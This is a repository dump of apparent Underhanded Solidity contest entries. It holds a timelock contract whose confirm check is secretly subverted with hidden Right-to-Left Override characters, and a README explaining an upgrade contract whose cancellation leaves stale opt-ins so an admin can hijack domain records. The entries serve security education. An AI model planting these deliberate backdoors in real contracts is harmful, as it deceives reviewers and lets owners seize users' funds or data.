version of the GNU General\r\nPublic License \"or any later version\" applies to it, you have the\r\noption of following the terms and conditions either of that numbered\r\nversion or of any later version published by the Free Software\r\nFoundation.  If the Program does not specify a version number of the\r\nGNU General Public License, you may choose any version ever published\r\nby the Free Software Foundation.\r\n\r\n  If the Program specifies that a proxy can decide which future\r\nversions of the GNU General Public License can be used, that proxy's\r\npublic statement of acceptance of a version permanently authorizes you\r\nto choose that version for the Program.\r\n\r\n  Later license versions may give you additional or different\r\npermissions.  However, no additional obligations are imposed on any\r\nauthor or copyright holder as a result of your choosing to follow a\r\nlater version.\r\n\r\n  15. Disclaimer of Warranty.\r\n\r\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\r\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\r\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\r\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\r\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\r\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\r\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\r\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\r\n\r\n  16. Limitation of Liability.\r\n\r\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\r\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\r\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\r\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\r\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\r\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\r\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\r\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\r\nSUCH DAMAGES.\r\n\r\n  17. Interpretation of Sections 15 and 16.\r\n\r\n  If the disclaimer of warranty and limitation of liability provided\r\nabove cannot be given local legal effect according to their terms,\r\nreviewing courts shall apply local law that most closely approximates\r\nan absolute waiver of all civil liability in connection with the\r\nProgram, unless a warranty or assumption of liability accompanies a\r\ncopy of the Program in return for a fee.\r\n\r\n                     END OF TERMS AND CONDITIONS\r\n\r\n            How to Apply These Terms to Your New Programs\r\n\r\n  If you develop a new program, and you want it to be of the greatest\r\npossible use to the public, the best way to achieve this is to make it\r\nfree software which everyone can redistribute and change under these terms.\r\n\r\n  To do so, attach the following notices to the program.  It is safest\r\nto attach them to the start of each source file to most effectively\r\nstate the exclusion of warranty; and each file should have at least\r\nthe \"copyright\" line and a pointer to where the full notice is found.\r\n\r\n    {one line to give the program's name and a brief idea of what it does.}\r\n    Copyright (C) {year}  {name of author}\r\n\r\n    This program is free software: you can redistribute it and/or modify\r\n    it under the terms of the GNU General Public License as published by\r\n    the Free Software Foundation, either version 3 of the License, or\r\n    (at your option) any later version.\r\n\r\n    This program is distributed in the hope that it will be useful,\r\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n    GNU General Public License for more details.\r\n\r\n    You should have received a copy of the GNU General Public License\r\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\r\n\r\nAlso add information on how to contact you by electronic and paper mail.\r\n\r\n  If the program does terminal interaction, make it output a short\r\nnotice like this when it starts in an interactive mode:\r\n\r\n    {project}  Copyright (C) {year}  {fullname}\r\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\r\n    This is free software, and you are welcome to redistribute it\r\n    under certain conditions; type `show c' for details.\r\n\r\nThe hypothetical commands `show w' and `show c' should show the appropriate\r\nparts of the General Public License.  Of course, your program's commands\r\nmight be different; for a GUI interface, you would use an \"about box\".\r\n\r\n  You should also get your employer (if you work as a programmer) or school,\r\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\r\nFor more information on this, and how to apply and follow the GNU GPL, see\r\n<http://www.gnu.org/licenses/>.\r\n\r\n  The GNU General Public License does not permit incorporating your program\r\ninto proprietary programs.  If your program is a subroutine library, you\r\nmay consider it more useful to permit linking proprietary applications with\r\nthe library.  If this is what you want to do, use the GNU Lesser General\r\nPublic License instead of this License.  But first, please read\r\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\r\n"
  },
  {
    "path": "2020/submissions_2020/submission11_RobertMCForster/README.md",
    "content": "# Timelock Upgrade!\r\n\r\nThis contract is a bulletproof, totally safe way to upgrade the masterCopy of a proxy contract. The owner of the contract is the only one who can propose and confirm, but they must wait a full month after proposal before it can be confirmed. This ensures users have time to opt-out of the contract if they do not agree with the upgrade.\r\n\r\nJust kidding they don't have that time.\r\n\r\nOn line 66, directly after the \"h\" in the 'month' comment and directly before the 'h' in the \"hour\" comment, there are hidden Unicode characters. The first Unicode character is \"Right-to-Left Override\" (U+202E); the second Unicode character is \"Pop Directional Formatting\" (U+202C). The RTLO character reverses the direction code is written and read. The Pop Directional Formatting character then stops RTLO from affecting the rest of the line. Unicode can only be used within strings and comments so you have to format this \"exploit\" pretty specifically for it to not look too suspicious.\r\n\r\nBy doing this, we can write code that looks perfectly normal but executes in unexpected ways. When we find month and day using Bokky's timestamp library the first time, everything is normal. The second time we use it we've reversed the code in the middle.\r\n\r\nWhile the line looks like:<br>\r\n`(/*year*/, /*month*/ m, /*day*/ d, /*hour*/, /*minute*/, /*second*/) = BokkyDateTime.timestampToDateTime(now);`\r\n\r\nit executes (and was typed) as:<br>\r\n`(/*year*/, /*month*/ ,d /*yad*/ ,m /*‬‬hour*/, /*minute*/, /*second*/) = BokkyDateTime.timestampToDateTime(now);`\r\n\r\nThis means that what should be the current month is actually set as the current hour, so all an owner has to do is call propose and confirm at the hour of the day corresponding to the value of upgrade month and masterCopy can be changed with no time for users to opt out."
  },
  {
    "path": "2020/submissions_2020/submission11_RobertMCForster/contracts/BokkyDateTime.sol",
    "content": "pragma solidity ^0.7.0;\r\n\r\n/**\r\n * @notice OOC: Stock BokkyDateTime and Ownable--no vulnerabilities there.\r\n**/\r\n\r\n// ----------------------------------------------------------------------------\r\n// BokkyPooBah's DateTime Library v1.01\r\n//\r\n// A gas-efficient Solidity date and time library\r\n//\r\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\r\n//\r\n// Tested date range 1970/01/01 to 2345/12/31\r\n//\r\n// Conventions:\r\n// Unit      | Range         | Notes\r\n// :-------- |:-------------:|:-----\r\n// timestamp | >= 0          | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\r\n// year      | 1970 ... 2345 |\r\n// month     | 1 ... 12      |\r\n// day       | 1 ... 31      |\r\n// hour      | 0 ... 23      |\r\n// minute    | 0 ... 59      |\r\n// second    | 0 ... 59      |\r\n// dayOfWeek | 1 ... 7       | 1 = Monday, ..., 7 = Sunday\r\n//\r\n//\r\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\r\n// ----------------------------------------------------------------------------\r\n\r\nlibrary BokkyDateTime {\r\n\r\n    uint constant SECONDS_PER_DAY = 24 * 60 * 60;\r\n    uint constant SECONDS_PER_HOUR = 60 * 60;\r\n    uint constant SECONDS_PER_MINUTE = 60;\r\n    int constant OFFSET19700101 = 2440588;\r\n\r\n    uint constant DOW_MON = 1;\r\n    uint constant DOW_TUE = 2;\r\n    uint constant DOW_WED = 3;\r\n    uint constant DOW_THU = 4;\r\n    uint constant DOW_FRI = 5;\r\n    uint constant DOW_SAT = 6;\r\n    uint constant DOW_SUN = 7;\r\n\r\n    // ------------------------------------------------------------------------\r\n    // Calculate the number of days from 1970/01/01 to year/month/day using\r\n    // the date conversion algorithm from\r\n    //   http://aa.usno.navy.mil/faq/docs/JD_Formula.php\r\n    // and subtracting the offset 2440588 so that 1970/01/01 is day 0\r\n    //\r\n    // days = day\r\n    //      - 32075\r\n    //      + 1461 * (year + 4800 + (month - 14) / 12) / 4\r\n    //      + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\r\n    //      - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\r\n    //      - offset\r\n    // ------------------------------------------------------------------------\r\n    function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) {\r\n        require(year >= 1970);\r\n        int _year = int(year);\r\n        int _month = int(month);\r\n        int _day = int(day);\r\n\r\n        int __days = _day\r\n          - 32075\r\n          + 1461 * (_year + 4800 + (_month - 14) / 12) / 4\r\n          + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12\r\n          - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4\r\n          - OFFSET19700101;\r\n\r\n        _days = uint(__days);\r\n    }\r\n\r\n    // ------------------------------------------------------------------------\r\n    // Calculate year/month/day from the number of days since 1970/01/01 using\r\n    // the date conversion algorithm from\r\n    //   http://aa.usno.navy.mil/faq/docs/JD_Formula.php\r\n    // and adding the offset 2440588 so that 1970/01/01 is day 0\r\n    //\r\n    // int L = days + 68569 + offset\r\n    // int N = 4 * L / 146097\r\n    // L = L - (146097 * N + 3) / 4\r\n    // year = 4000 * (L + 1) / 1461001\r\n    // L = L - 1461 * year / 4 + 31\r\n    // month = 80 * L / 2447\r\n    // dd = L - 2447 * month / 80\r\n    // L = month / 11\r\n    // month = month + 2 - 12 * L\r\n    // year = 100 * (N - 49) + year + L\r\n    // ------------------------------------------------------------------------\r\n    function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) {\r\n        int __days = int(_days);\r\n\r\n        int L = __days + 68569 + OFFSET19700101;\r\n        int N = 4 * L / 146097;\r\n        L = L - (146097 * N + 3) / 4;\r\n        int _year = 4000 * (L + 1) / 1461001;\r\n        L = L - 1461 * _year / 4 + 31;\r\n        int _month = 80 * L / 2447;\r\n        int _day = L - 2447 * _month / 80;\r\n        L = _month / 11;\r\n        _month = _month + 2 - 12 * L;\r\n        _year = 100 * (N - 49) + _year + L;\r\n\r\n        year = uint(_year);\r\n        month = uint(_month);\r\n        day = uint(_day);\r\n    }\r\n\r\n    function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) {\r\n        timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;\r\n    }\r\n    function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) {\r\n        timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second;\r\n    }\r\n    function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) {\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n    }\r\n    function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) {\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n        uint secs = timestamp % SECONDS_PER_DAY;\r\n        hour = secs / SECONDS_PER_HOUR;\r\n        secs = secs % SECONDS_PER_HOUR;\r\n        minute = secs / SECONDS_PER_MINUTE;\r\n        second = secs % SECONDS_PER_MINUTE;\r\n    }\r\n\r\n    function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) {\r\n        if (year >= 1970 && month > 0 && month <= 12) {\r\n            uint daysInMonth = _getDaysInMonth(year, month);\r\n            if (day > 0 && day <= daysInMonth) {\r\n                valid = true;\r\n            }\r\n        }\r\n    }\r\n    function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) {\r\n        if (isValidDate(year, month, day)) {\r\n            if (hour < 24 && minute < 60 && second < 60) {\r\n                valid = true;\r\n            }\r\n        }\r\n    }\r\n    function isLeapYear(uint timestamp) internal pure returns (bool leapYear) {\r\n        uint year;\r\n        uint month;\r\n        uint day;\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n        leapYear = _isLeapYear(year);\r\n    }\r\n    function _isLeapYear(uint year) internal pure returns (bool leapYear) {\r\n        leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\r\n    }\r\n    function isWeekDay(uint timestamp) internal pure returns (bool weekDay) {\r\n        weekDay = getDayOfWeek(timestamp) <= DOW_FRI;\r\n    }\r\n    function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) {\r\n        weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;\r\n    }\r\n    function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) {\r\n        uint year;\r\n        uint month;\r\n        uint day;\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n        daysInMonth = _getDaysInMonth(year, month);\r\n    }\r\n    function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) {\r\n        if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\r\n            daysInMonth = 31;\r\n        } else if (month != 2) {\r\n            daysInMonth = 30;\r\n        } else {\r\n            daysInMonth = _isLeapYear(year) ? 29 : 28;\r\n        }\r\n    }\r\n    // 1 = Monday, 7 = Sunday\r\n    function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) {\r\n        uint _days = timestamp / SECONDS_PER_DAY;\r\n        dayOfWeek = (_days + 3) % 7 + 1;\r\n    }\r\n\r\n    function getYear(uint timestamp) internal pure returns (uint year) {\r\n        uint month;\r\n        uint day;\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n    }\r\n    function getMonth(uint timestamp) internal pure returns (uint month) {\r\n        uint year;\r\n        uint day;\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n    }\r\n    function getDay(uint timestamp) internal pure returns (uint day) {\r\n        uint year;\r\n        uint month;\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n    }\r\n    function getHour(uint timestamp) internal pure returns (uint hour) {\r\n        uint secs = timestamp % SECONDS_PER_DAY;\r\n        hour = secs / SECONDS_PER_HOUR;\r\n    }\r\n    function getMinute(uint timestamp) internal pure returns (uint minute) {\r\n        uint secs = timestamp % SECONDS_PER_HOUR;\r\n        minute = secs / SECONDS_PER_MINUTE;\r\n    }\r\n    function getSecond(uint timestamp) internal pure returns (uint second) {\r\n        second = timestamp % SECONDS_PER_MINUTE;\r\n    }\r\n\r\n    function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {\r\n        uint year;\r\n        uint month;\r\n        uint day;\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n        year += _years;\r\n        uint daysInMonth = _getDaysInMonth(year, month);\r\n        if (day > daysInMonth) {\r\n            day = daysInMonth;\r\n        }\r\n        newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;\r\n        require(newTimestamp >= timestamp);\r\n    }\r\n    function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {\r\n        uint year;\r\n        uint month;\r\n        uint day;\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n        month += _months;\r\n        year += (month - 1) / 12;\r\n        month = (month - 1) % 12 + 1;\r\n        uint daysInMonth = _getDaysInMonth(year, month);\r\n        if (day > daysInMonth) {\r\n            day = daysInMonth;\r\n        }\r\n        newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;\r\n        require(newTimestamp >= timestamp);\r\n    }\r\n    function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {\r\n        newTimestamp = timestamp + _days * SECONDS_PER_DAY;\r\n        require(newTimestamp >= timestamp);\r\n    }\r\n    function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {\r\n        newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;\r\n        require(newTimestamp >= timestamp);\r\n    }\r\n    function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {\r\n        newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;\r\n        require(newTimestamp >= timestamp);\r\n    }\r\n    function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {\r\n        newTimestamp = timestamp + _seconds;\r\n        require(newTimestamp >= timestamp);\r\n    }\r\n\r\n    function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {\r\n        uint year;\r\n        uint month;\r\n        uint day;\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n        year -= _years;\r\n        uint daysInMonth = _getDaysInMonth(year, month);\r\n        if (day > daysInMonth) {\r\n            day = daysInMonth;\r\n        }\r\n        newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;\r\n        require(newTimestamp <= timestamp);\r\n    }\r\n    function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {\r\n        uint year;\r\n        uint month;\r\n        uint day;\r\n        (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);\r\n        uint yearMonth = year * 12 + (month - 1) - _months;\r\n        year = yearMonth / 12;\r\n        month = yearMonth % 12 + 1;\r\n        uint daysInMonth = _getDaysInMonth(year, month);\r\n        if (day > daysInMonth) {\r\n            day = daysInMonth;\r\n        }\r\n        newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;\r\n        require(newTimestamp <= timestamp);\r\n    }\r\n    function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {\r\n        newTimestamp = timestamp - _days * SECONDS_PER_DAY;\r\n        require(newTimestamp <= timestamp);\r\n    }\r\n    function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {\r\n        newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;\r\n        require(newTimestamp <= timestamp);\r\n    }\r\n    function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {\r\n        newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;\r\n        require(newTimestamp <= timestamp);\r\n    }\r\n    function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {\r\n        newTimestamp = timestamp - _seconds;\r\n        require(newTimestamp <= timestamp);\r\n    }\r\n\r\n    function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) {\r\n        require(fromTimestamp <= toTimestamp);\r\n        uint fromYear;\r\n        uint fromMonth;\r\n        uint fromDay;\r\n        uint toYear;\r\n        uint toMonth;\r\n        uint toDay;\r\n        (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);\r\n        (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);\r\n        _years = toYear - fromYear;\r\n    }\r\n    function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) {\r\n        require(fromTimestamp <= toTimestamp);\r\n        uint fromYear;\r\n        uint fromMonth;\r\n        uint fromDay;\r\n        uint toYear;\r\n        uint toMonth;\r\n        uint toDay;\r\n        (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);\r\n        (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);\r\n        _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\r\n    }\r\n    function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) {\r\n        require(fromTimestamp <= toTimestamp);\r\n        _days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;\r\n    }\r\n    function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) {\r\n        require(fromTimestamp <= toTimestamp);\r\n        _hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;\r\n    }\r\n    function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) {\r\n        require(fromTimestamp <= toTimestamp);\r\n        _minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;\r\n    }\r\n    function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) {\r\n        require(fromTimestamp <= toTimestamp);\r\n        _seconds = toTimestamp - fromTimestamp;\r\n    }\r\n}"
  },
  {
    "path": "2020/submissions_2020/submission11_RobertMCForster/contracts/Ownable.sol",
    "content": "pragma solidity ^0.7.0;\r\n\r\n/**\r\n * @notice OOC: Stock BokkyDateTime and Ownable--no vulnerabilities there.\r\n**/\r\n\r\n/**\r\n * @title Ownable\r\n * @dev The Ownable contract has an owner address, and provides basic authorization control\r\n * functions, this simplifies the implementation of \"user permissions\".\r\n * \r\n * @dev Completely default OpenZeppelin.\r\n */\r\ncontract Ownable {\r\n    address private _owner;\r\n\r\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r\n\r\n    /**\r\n     * @dev The Ownable constructor sets the original `owner` of the contract to the sender\r\n     * account.\r\n     */\r\n    constructor () {\r\n        _owner = msg.sender;\r\n        emit OwnershipTransferred(address(0), _owner);\r\n    }\r\n\r\n    /**\r\n     * @return the address of the owner.\r\n     */\r\n    function owner() public view returns (address) {\r\n        return _owner;\r\n    }\r\n\r\n    /**\r\n     * @dev Throws if called by any account other than the owner.\r\n     */\r\n    modifier onlyOwner() {\r\n        require(isOwner());\r\n        _;\r\n    }\r\n\r\n    /**\r\n     * @return true if `msg.sender` is the owner of the contract.\r\n     */\r\n    function isOwner() public view returns (bool) {\r\n        return msg.sender == _owner;\r\n    }\r\n\r\n    /**\r\n     * @dev Allows the current owner to relinquish control of the contract.\r\n     * It will not be possible to call the functions with the `onlyOwner`\r\n     * modifier anymore.\r\n     * @notice Renouncing ownership will leave the contract without an owner,\r\n     * thereby removing any functionality that is only available to the owner.\r\n     */\r\n    function renounceOwnership() public onlyOwner {\r\n        emit OwnershipTransferred(_owner, address(0));\r\n        _owner = address(0);\r\n    }\r\n\r\n    /**\r\n     * @dev Allows the current owner to transfer control of the contract to a newOwner.\r\n     * @param newOwner The address to transfer ownership to.\r\n     */\r\n    function transferOwnership(address newOwner) public onlyOwner {\r\n        _transferOwnership(newOwner);\r\n    }\r\n\r\n    /**\r\n     * @dev Transfers control of the contract to a newOwner.\r\n     * @param newOwner The address to transfer ownership to.\r\n     */\r\n    function _transferOwnership(address newOwner) internal {\r\n        require(newOwner != address(0));\r\n        emit OwnershipTransferred(_owner, newOwner);\r\n        _owner = newOwner;\r\n    }\r\n}\r\n\r\n"
  },
  {
    "path": "2020/submissions_2020/submission11_RobertMCForster/contracts/TimelockUpgrade.sol",
    "content": "pragma solidity ^0.7.0;\r\n\r\nimport './Ownable.sol';\r\nimport './BokkyDateTime.sol';\r\n\r\n/**\r\n * @notice OOC: Stock BokkyDateTime and Ownable--no vulnerabilities there.\r\n**/\r\n\r\n/**\r\n * @title Timelock Upgrade\r\n * @dev This contract allows a contract to be upgraded by an owner. While it requires the owner is the one to propose, it gives\r\n *      users 1 month to exit the contract before the upgrade can execute. This contract is so simple that nothing could go wrong.\r\n**/\r\ncontract TimelockUpgrade is Ownable {\r\n    \r\n    using BokkyDateTime for *;\r\n    \r\n    // Month we can upgrade: 1-12.\r\n    uint256 public upgradeM;\r\n    \r\n    // Day we can upgrade in that month: 1-28.\r\n    uint256 public upgradeD;\r\n    \r\n    // Current master copy address being used.\r\n    address public masterCopy;\r\n    \r\n    // Proposed address to upgrade to.\r\n    address public proposedMaster;\r\n    \r\n    // Address to upgrade to, month upgrade is allowed, day upgrade is allowed\r\n    event UpgradeProposed(address proposed, uint256 month, uint256 day);\r\n    \r\n    // New masterCopy confirmed yay!\r\n    event UpgradeConfirmed(address newMaster);\r\n    \r\n    /**\r\n     * @dev Owner can propose an upgrade, but it takes 1 month to allow it to confirm.\r\n     * @param _upgradeAddress The address to upgrade the masterCopy to.\r\n    **/\r\n    function proposeUpgrade(address _upgradeAddress)\r\n      external\r\n      onlyOwner\r\n    {\r\n        uint256 m; \r\n        uint256 d;\r\n        (/*year*/, /*month*/ m, /*day*/ d, /*hour*/, /*minute*/, /*second*/) = BokkyDateTime.timestampToDateTime(block.timestamp);\r\n        \r\n        upgradeM = (m % 12) + 1;    // If it's Dec, advance to Jan.\r\n        upgradeD = d > 28 ? 28 : d; // Protect for February.\r\n        \r\n        proposedMaster = _upgradeAddress;\r\n        \r\n        emit UpgradeProposed(_upgradeAddress, upgradeM, upgradeD);\r\n    }\r\n    \r\n    /**\r\n     * @dev Confirm a proposed upgrade.\r\n    **/\r\n    function confirmUpgrade()\r\n      external\r\n    {\r\n        uint256 m; \r\n        uint256 d;\r\n        (/*year*/, /*month‮*/ ,d /*yad*/ ,m /*‬‬hour*/, /*minute*/, /*second*/) = BokkyDateTime.timestampToDateTime(block.timestamp);\r\n        \r\n        if (m == upgradeM && d == upgradeD) {\r\n            \r\n            masterCopy = proposedMaster;\r\n            \r\n            // Woohoo!            \r\n            emit UpgradeConfirmed(masterCopy);\r\n        \r\n        }\r\n    }\r\n    \r\n}"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/Makefile",
    "content": "all    :; dapp build\nclean  :; dapp clean\ntest   :; dapp test\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/README.md",
    "content": "# Upgradeability via opt-in history and safe relay\n\nThis entry for the Underhanded Solidity contest contains a simple DNS registry\nthat may be upgraded.\n\nContract `DNS` implements an upgradeable example of the DNS registry interface\ndefined in `IDNS.sol`. That contract uses `Upgrade` from `Upgrade.sol` as the\nupgrade mechanism: `Upgrade` allows the upgrade admin (the deployer of `DNS`)\nto suggest already deployed contracts as upgrades for the DNS contract. Users\ncan then opt-in (and also opt-out if they change their minds after opt-in)\nsuggested upgrades.  After a given opt-in time period the upgrade status\nchanges from `planned` to `active`. The admin can also cancel a planned\nupgrade, which is then removed and the status is the same as before, with all\nopt-ins cleared.  If a user never opts-in they will simply keep using the\noriginal `DNS` contract.  The `DNS` contract checks, for every function, if the\ncaller opted-in an upgrade, and if yes, calls that contract instead.\n\nContract `UpgradedDNS` shows an example of a safe upgrade with the same\nfunctionalities as contract `DNS`. The original `DNS` contract allows the\n`msg.sender` to change DNS data if they are the owner of that entry. This\ncheck is also performed before relaying calls to upgrades. Therefore, the\noriginal DNS contract and legit upgraded contracts which receive relayed\nmessages and want to relay messages should check (for state changing calls)\nwhether\n1. `msg.sender == tx.origin` and only allow changes in entries that `msg.sender` owns, or\n2. `msg.sender` is the original DNS contract, which already checked whether the then `msg.sender` is the owner of the entry in the sender's upgrade, or\n3. `msg.sender` is a previous upgrade that the entry owner trusted, which should have a mechanism similar to the one above.\n\nSequence of transactions for a safe upgrade:\n- Deploy `Upgrade()` at address `addr_upgrade`.\n- Deploy `DNS(addr_upgrade)` at address `addr_dns`.\n- Users use `addr_dns`.\n- Deploy `UpgradedDNS(addr_dns, addr_upgrade)` at address `addr_up_dns`.\n- Admin calls `addr_upgrade.newUpgrade(now + some time, addr_up_dns)`.\n- Users opt in.\n- Some time passes, upgrade is active.\n- Users that opted-in now have their calls relayed to `addr_up_dns`.\nThe sequence above is shown in test `DNSTest.test_safe_sequence`.\n\n# Vulnerability !!! SPOILER !!!\n\nThe admin can trick domain owners into pointing their domains to IP addresses\nof the admin's choice after an upgrade they opt in.\n\nThe effects of such vulnerability are quite dangerous. For example, if the\ndomain points to a service where the user inserts confidential data, the admin\ncan copy the service frontend into another IP, point the domain to their IP,\nand steal the users' confidential data.\n\n## How\n\nThe bug is in `Upgrade.sol`, function `cancelUpgrade`. While it looks like\nthe latest suggested upgrade is being deleted in the last two lines of that\nfunction, `mapping` data is *not* deleted from storage because the compiler\ncannot keep track of all changed keys. This causes all opt-ins to a cancelled\nupgrade to be valid for the next suggested upgrade.\n\nFor example, suppose 4 upgrades were suggested and are active at the moment.\nArray `upgrades` has length 4. The admin then suggests a new legit upgrade, and\nusers start opting in. Let us assume user Donald  opted in. The storage slot\ncorresponding to that opt in comes from a hash that depends on the storage slot\nof `upgrades`, the index of the planned upgrade 4, the struct member `userOpt`\nand Donald's address. Let us call that storage slot `DonaldOptInSlot`.\n`DonaldOptInSlot` now has value 1 (after Donald opts in). When the admin\ncancels the upgrade, the array's length is decreased, fields `when` and `to` of\n`upgrades[4]` are zeroed, but `userOpt` is still the same, meaning that\n`DonaldOptIntSlot` has not been cleared. For now this is not a problem, since\nthe mapping is not accessible via `upgrades`.  However, when the admin suggests\na new upgrade, `array.length` is 5 again, and `DonaldOptInSlot` is already\n`Opt.In`, even though they never opted-in.\n\nSequence of transactions for a hack:\n- Deploy `Upgrade()` at address `addr_upgrade`.\n- Deploy `DNS(addr_upgrade)` at address `addr_dns`.\n- Users use `addr_dns`.\n- Deploy `UpgradedDNS(addr_dns, addr_upgrade)` at address `addr_up_dns`.\n- Admin calls `addr_upgrade.newUpgrade(now + some time, addr_up_dns)`, where `addr_up_dns` must be a clearly legit upgrade.\n- Users opt in, since the upgrade is legit.\n- Before some time passes, admin cancels the upgrade.\n- Deploy `MalDNS()` at address `mal_dns`.\n- Admin calls `addr_upgrade.newUpgrade(now + very small time, mal_dns)`.\n- Very small time passes.\n- Now every user who opted in `addr_up_dns` is opted in `mal_dns` because of the vulnerability.\n- Attacker can call backdoor that arbitrarily changes IPs.\n\n## Build\n\nThe bytecode exported in `out` used Solidity 0.7.4.\nTo build the bytecode, run\n`$ dapp build`\n\n## 